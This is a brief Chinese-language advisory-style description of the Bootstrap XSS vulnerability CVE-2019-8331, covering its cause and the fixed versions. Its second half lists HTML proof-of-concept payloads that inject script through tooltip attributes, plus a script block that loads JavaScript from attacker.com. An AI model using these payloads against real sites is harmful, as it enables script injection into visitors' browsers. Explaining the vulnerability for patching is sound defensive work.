CVE-2019-8331 是 Bootstrap 中的一个跨站脚本(XSS)安全漏洞。Bootstrap 是一个广泛用于网站和移动应用开发的 JavaScript 库。该漏洞是由于 Bootstrap 未能正确过滤随 tooltip 或 popover 元素的 data-template 属性传入的数据所致,使攻击者能够将恶意代码注入网页。
如果攻击者能够控制将显示为 tooltip 或 popover 的数据,就可能发生此类攻击。当用户触发 tooltip 或 popover 时,恶意代码会被注入网页,并可能在用户浏览器中执行。
此漏洞已在 Bootstrap 4.3.1 和 5.0.0-beta2 版本中修复。管理员应更新受影响的 Bootstrap 版本以修复该漏洞。
有关 CVE-2019-8331 漏洞的更多详细信息:
<x data-toggle="tooltip" data-template="">XSS</x>
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>XSS</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>XSS</x>
<script>
var script = document.createElement("script");
script.src = "https://attacker.com/malicious.js";
document.body.appendChild(script);
</script>